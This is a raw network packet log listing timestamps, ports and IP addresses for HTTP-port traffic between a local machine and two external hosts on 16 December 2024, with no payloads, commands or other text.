Dec 16, 2024 17:02:26.452390909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.452405930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.452449083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.452482939 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.452780008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.452837944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.453010082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.453026056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.453042030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.453057051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.453058958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.453087091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.453087091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.453102112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.453627110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.453677893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.453794003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.453809977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.453846931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.453860044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.454099894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.454314947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.454329967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.454365015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.454394102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.454683065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.454924107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.455111027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.455161095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.455216885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.455230951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.455274105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.455626011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.455672026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.456116915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.456132889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.456178904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.456248999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.456291914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.456603050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.456649065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.457173109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.457223892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.457262993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.457328081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.457514048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.457540035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.457556963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.457597971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.458071947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.458229065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.458234072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.458250999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.458276987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.458288908 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.458745956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.458792925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.459331989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.459378004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.459482908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.459496975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.459526062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.459538937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.459891081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.459964991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.460315943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.460330963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.460355997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.460371971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.460462093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.460478067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.460505962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.460517883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.461020947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.461065054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.461244106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.461283922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.461288929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.461301088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.461322069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.461343050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.461901903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.461942911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.462054014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.462068081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.462099075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.462114096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.462407112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.462450027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.462815046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.462840080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.462860107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.462876081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.463130951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.463145971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.463176012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.463188887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.463757038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.463799953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.463902950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.463917971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.463943005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.463956118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.464375973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.464421034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.464744091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.464787006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.464939117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.464953899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.464982033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.464992046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.465440035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.465487003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.466011047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.466027021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.466075897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.466075897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.466253042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.466269016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.466303110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.466840982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.466888905 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.466897011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.466912031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.466938019 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.466958046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.467236996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.467284918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.467686892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.467703104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.467730045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.467742920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.467839003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.467854023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.467881918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.467894077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.468554974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.468604088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.468693018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.468708038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.468736887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.468750000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.469027996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.469072104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.469342947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.469358921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.469386101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.469398975 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.469495058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.469511032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.469536066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.469547987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.470215082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.470258951 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.470352888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.470366955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.470395088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.470407009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.470611095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.470654964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.471043110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.471108913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.471214056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.471229076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.471259117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.471271038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.471435070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.471483946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.471910954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.471956015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.472096920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.472112894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.472140074 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.472155094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.472470999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.472515106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.473037004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.473083973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.473197937 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.473213911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.473238945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.473253012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.473514080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.473556995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.473819971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.473834991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.473864079 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.473876953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.474047899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.474090099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.474497080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.474517107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.474540949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.474553108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.474637985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.474680901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.474685907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.474703074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.474733114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.474749088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.475213051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.475265026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.489556074 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:26.490133047 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:26.490181923 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:26.490322113 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:26.610219955 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:26.643683910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.643817902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.643835068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.643920898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.643956900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.644150019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.644352913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.644368887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.644418001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.644452095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.644772053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.644788027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.644843102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.645169020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.645226955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.645382881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.645397902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.645435095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.645479918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.645575047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.645813942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.645831108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.645873070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.645908117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.646011114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.646168947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.646222115 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.646285057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.646312952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.646336079 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.646347046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.646718979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.646768093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.647155046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.647346020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.647361994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.647413969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.647547007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.647636890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.647886992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.647941113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.648036957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.648053885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.648082018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.648093939 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.648377895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.648931980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.648947954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.648987055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.649018049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.649187088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.649204016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.649254084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.649642944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.649693966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.649730921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.649748087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.649780035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.649792910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.650105953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.650454044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.650520086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.650558949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.650574923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.650609016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.650639057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.650902033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.651083946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.651268959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.651309967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.651316881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.651355982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.651499987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.651516914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.651542902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.651556015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.652220964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.652236938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.652252913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.652297974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.652326107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.652550936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.653196096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.653211117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.653245926 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.653278112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.653439045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.653458118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.653506994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.654123068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.654200077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.654230118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.654247046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.654282093 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.654294968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.654661894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.654932022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.654989004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.655071974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.655088902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.655126095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.655155897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.655410051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.655905962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.655961990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.656033993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.656050920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.656080961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.656106949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.656311035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.656640053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.656697989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.656807899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.656826973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.656860113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.656892061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.657294989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.657613039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.657628059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.657660007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.657681942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.657762051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.657778978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.657824039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.658667088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.658682108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.658704042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.658725023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.658772945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.658862114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.659261942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.659322023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.659436941 CET	80	49712	31.41.244.11	192.168.2.8
